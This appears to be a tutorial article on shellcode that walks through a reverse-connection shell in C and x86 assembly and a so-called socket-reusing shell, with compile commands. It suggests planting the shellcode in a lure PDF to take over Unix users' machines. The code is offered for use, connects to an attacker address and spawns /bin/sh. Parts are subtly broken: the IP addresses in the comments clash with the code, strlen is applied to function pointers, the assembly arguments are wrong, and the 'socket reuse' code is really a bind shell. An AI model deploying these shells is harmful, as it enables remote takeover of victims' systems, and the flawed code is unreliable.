Reverse Connection Shellcode
Reverse connection shellcode makes a connection from a hacked system to a different system where it can be caught using network tools such as netcat. Once the shellcode is connected, it spawns an interactive shell. The fact that the shellcode connects from the hacked machine makes it useful for trying to exploit vulnerabilities in a server behind a firewall. This kind of shellcode can also be used for vulnerabilities that cannot be directly exploited. For example, a buffer overflow vulnerability has been found in Xpdf, a PDF displayer for UNIX-based systems.
While the vulnerability is interesting, exploiting it on remote systems is hard because we cannot force someone to read a specially crafted .pdf file that exploits the leak. One possibility for exploiting this issue is to create a .pdf file that draws the attention of potentially affected UNIX users. Within this .pdf file, we could embed shellcode that connects over the Internet to our machine, from which we could control the hacked systems.
Reverse connection shellcode in C. The concept of constructing a shellcode payload that establishes a reverse TCP connection to a specified IP address and port.
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
void reverse_shell(char *ip, int port) {
int sockfd;
struct sockaddr_in server_addr;
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return;
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
perror("Invalid address/ Address not supported");
return;
}
// Connect to server
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Connection failed");
return;
}
// Redirect stdin, stdout, and stderr to the socket
dup2(sockfd, 0); // stdin
dup2(sockfd, 1); // stdout
dup2(sockfd, 2); // stderr
// Execute shell
execve("/bin/sh", NULL, NULL);
}
int main() {
char ip[] = "192.168.1.10"; // Replace with your attacker's IP address
int port = 4444; // Replace with your chosen port number
printf("Reverse Shellcode Length: %lu\n", strlen((char *)reverse_shell));
// Execute the reverse shellcode
reverse_shell(ip, port);
return 0;
}
Explanation:
To compile and run this code, use a C compiler like GCC:
gcc -o reverse_shell reverse_shell.c
./reverse_shell
Replace "192.168.10.10" with your attacker's IP address and 4444 with your chosen port number. Note that this code assumes you have control over both the attacker machine (with a listener on the specified port) and the target machine where you execute the shellcode.
Reverse connection shellcode in assembly language (x86 NASM syntax). This shellcode establishes a reverse TCP connection to a specified IP address and port.
section .text
global _start
_start:
; Create socket
xor eax, eax ; Clear EAX
mov al, 0x66 ; Socket syscall number (sys_socketcall)
xor ebx, ebx ; Clear EBX
inc ebx ; EBX = 1 (socketcall: SYS_SOCKET)
xor ecx, ecx ; Clear ECX
mov cl, 0x2 ; Protocol = IPPROTO_IP (IP protocol)
xor edx, edx ; Clear EDX
push edx ; Clear EDX (padding)
push ecx ; Push IPPROTO_IP (2) onto stack
push ebx ; Push SYS_SOCKET (1) onto stack
mov ecx, esp ; Set ECX to point to syscall arguments
int 0x80 ; Call syscall
; Connect to server
mov edi, eax ; Save socket file descriptor
xor eax, eax ; Clear EAX
mov al, 0x66 ; Socket syscall number (sys_socketcall)
xor ebx, ebx ; Clear EBX
mov bl, 0x3 ; SYS_CONNECT
mov ecx, esp ; Set ECX to point to syscall arguments
xor edx, edx ; Clear EDX
mov dx, 0x5c11 ; Port number in little-endian format (4444)
push edx ; Push port number onto stack
mov edx, 0x0a0a8c0b ; IP address in little-endian format (192.168.10.11)
push edx ; Push IP address onto stack
push word 0x2 ; AF_INET (2)
mov ecx, esp ; Set ECX to point to sockaddr structure
int 0x80 ; Call syscall
; Redirect stdin, stdout, and stderr to socket
xor eax, eax ; Clear EAX
xor ebx, ebx ; Clear EBX
xor ecx, ecx ; Clear ECX
mov al, 0x3f ; SYS_DUP2
mov bl, 0x2 ; FD 2 (stderr)
int 0x80 ; Call syscall
mov al, 0x3f ; SYS_DUP2
mov bl, 0x1 ; FD 1 (stdout)
int 0x80 ; Call syscall
mov al, 0x3f ; SYS_DUP2
mov bl, 0x0 ; FD 0 (stdin)
int 0x80 ; Call syscall
; Execute shell
xor eax, eax ; Clear EAX
mov al, 0x0b ; execve syscall number
xor ebx, ebx ; Clear EBX
push ebx ; Push null terminator for argv
push dword 0x68732f2f ; Push "hs//" in little-endian format (//sh)
push dword 0x6e69622f ; Push "nib/" in little-endian format (/bin)
mov ebx, esp ; Set EBX to point to command string
xor ecx, ecx ; Clear ECX
mov edx, ecx ; Clear EDX
int 0x80 ; Call execve syscall
section .data
; IP address and port in little-endian format
ip_addr db 0x0b, 0x0a, 0x8c, 0x0a ; 192.168.10.11
port dw 0x5c11 ; Port 4444
Explanation:
Note: Replace the IP address (0x0a0a8c0b) and port number (0x5c11) in the ip_addr and port variables with your actual IP address and port.
To compile this assembly code, you can use NASM and LD:
领英推荐
nasm -f elf32 -o reverse_shell.o reverse_shell.asm
ld -m elf_i386 -o reverse_shell reverse_shell.o
Then you can run the reverse_shell executable to execute the reverse connection shellcode.
Socket Reusing Shellcode
Port-binding shellcode is useful for some remote vulnerabilities, but is often too large and inefficient. This is especially true when exploiting a remote vulnerability where we have to make a connection. With socket reusing shellcode, this connection can be reused, which saves a lot of code and increases the chance that our exploit will work.
Socket reusing shellcode in C. Shellcode creates a socket, binds it to a port, and then listens for incoming connections. When a connection is established, it duplicates the socket file descriptor and redirects stdin, stdout, and stderr to the socket.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
void reuse_socket(int port) {
int sockfd, clientfd;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len;
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return;
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(port);
// Bind socket to port
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
return;
}
// Listen for incoming connections
if (listen(sockfd, 5) < 0) {
perror("Listen failed");
return;
}
// Accept incoming connection
client_len = sizeof(client_addr);
clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (clientfd < 0) {
perror("Accept failed");
return;
}
// Redirect stdin, stdout, and stderr to the socket
dup2(clientfd, 0); // stdin
dup2(clientfd, 1); // stdout
dup2(clientfd, 2); // stderr
// Execute shell
execve("/bin/sh", NULL, NULL);
}
int main() {
int port = 4444; // Replace with your chosen port number
printf("Socket Reuse Shellcode Length: %lu\n", strlen((char *)reuse_socket));
// Execute the socket reuse shellcode
reuse_socket(port);
return 0;
}
Explanation:
To compile and run this code, use a C compiler like GCC:
gcc -o socket_reuse socket_reuse.c
./socket_reuse
Replace 4444 in the port variable with your chosen port number. Note that this code assumes you have control over both the attacker machine (with a listener on the specified port) and the target machine where you execute the shellcode.